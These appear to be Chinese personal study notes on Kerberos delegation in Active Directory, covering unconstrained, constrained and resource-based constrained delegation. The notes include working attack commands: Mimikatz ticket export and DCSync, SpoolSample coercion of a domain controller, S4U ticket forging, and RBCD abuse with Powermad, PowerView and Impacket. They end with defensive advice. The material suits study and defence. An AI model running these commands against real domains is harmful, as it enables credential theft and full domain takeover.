域委派原理与利用(个人学习的理解)
字数 1667 2025-08-27 12:33:43
域委派原理与利用详解
域委派概述
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。简单来说,如果一个服务账号上设置了委派属性,那么这个服务就能够以用户权限在域内进行其他操作。
委派的应用场景
- 统一认证平台:域内用户通过IIS统一认证平台登录,IIS需要使用SQL Server支撑用户访问,但IIS本身权限不足。
- 文件服务器权限细分:实现每个人不同的权限,能看到不同的目录。
谁能被设置委派属性
在域中,只有服务账号和主机账号才具有委派属性:
- 主机账号:AD活动目录中Computers中的计算机,也称为机器账号
- 服务账号:服务器运行服务时所用的账号,如SQL Server的SQLServiceAccount
委派类型
1. 非约束性委派
原理:
服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT模拟用户访问任意服务。
流程:
- 用户访问服务A,向KDC认证身份
- KDC检查服务A的委派属性
- 如果是非约束性委派,KDC将用户的TGT放在ST票据中返还给用户
- 用户带着包含TGT的ST访问服务A
- 服务A获取用户的TGT,获得用户所有权限
特点:
- 目标ACL属性中包含TRUSTED_FOR_DELEGATION
- 设置需要SeEnableDelegation特权(通常仅域管理员有)
- 域控主机默认是非约束性委派
利用方法:
- 寻找配置了非约束性委派的服务或主机账号:
Get-Netcomputer -Unconstrained | select name Get-NetUser -Unconstrained | select name - 诱导其他账号(如域管)访问配置了非约束性委派的服务或主机
- 导出票据,进行票据注入:
privilege::debug sekurlsa::tickets /export kerberos::ptt [票据文件] kerberos::list lsadump::dcsync /domain:domain.com /all /csv
Spooler打印机BUG+非约束性委派:
- 原理:利用MS-RPRN协议强制目标通过Kerberos或NTLM向攻击者选择的目标发起身份认证请求
- 利用工具:
- https://github.com/leechristensen/SpoolSample/
- https://github.com/GhostPack/Rubeus
- 操作流程:
- 在非约束性委派主机上以本地管理员权限监听TGT
- 使用普通域账号强制让域控机器账号进行认证:
runas /user:domain\user powershell SpoolSample.exe DC 委派主机 - 快速导出票据
2. 约束性委派
原理:
微软在Windows Server 2003中引入,对Kerberos协议进行拓展,引入S4U:
- S4U2proxy:服务A将用户ST1转发给TGS请求ST2访问服务B
- S4U2self:当用户以非Kerberos方式认证时,服务A可向TGS为任意用户请求访问自身的可转发服务票据
利用方法:
- 寻找约束性委派服务账号:
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize - 获取服务账号权限后,导出TGT或使用账号密码
- 利用S4U协议伪造管理员请求:
tgs::s4u /tgt:[TGT票据] /user:Administrator@domain.com /service:服务B的SPN - 导入获得的ST2票据:
kerberos::ptt TGS_票据文件
3. 基于资源的约束委派(RBCD)
原理:
Windows Server 2012引入,与传统约束委派相反:
- 通过修改服务B属性"msDS-AllowedToActOnBehalfOfOtherIdentity",添加服务A的SPN
- 让服务A模拟用户访问B资源
利用前提:
- 能修改目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性:
- 带该机器入域的域用户
- 该机器本身的机器账户
- 目标机器具有SPN账号
利用场景:
- 提权:模拟其他用户访问自身,抓取本地密码
- 权限维持:配置恶意账号到krbtgt或域控的基于资源的约束委派
查询机器入域信息:
AdFind.exe -h DC_IP -b "DC=domain,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
Get-DomainUser -Identity 用户名 -Properties objectsid
提权利用流程:
- 创建机器账号:
New-MachineAccount -MachineAccount 机器名 -Password $(ConvertTo-SecureString "密码" -AsPlainText -Force) - 设置资源委派:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;机器账号SID)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer 目标主机名 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose - 利用S4U协议获取ST:
python3 getST.py -dc-ip DC_IP 域名/机器账号\$:密码 -spn 服务SPN -impersonate administrator export KRB5CCNAME=票据文件 python3 wmiexec.py 目标主机 -no-pass -k -dc-ip DC_IP
防御建议
- 限制非约束性委派的使用
- 严格控制约束性委派配置
- 监控敏感账户的委派属性变更
- 限制普通用户创建机器账号的数量
- 定期审计域内委派配置
- 禁用不必要的服务如Print Spooler
工具列表
- Mimikatz:票据导出和注入
- Rubeus:Kerberos操作
- SpoolSample:打印机漏洞利用
- Powermad:创建机器账号
- PowerView:域信息查询
- Impacket:协议利用工具包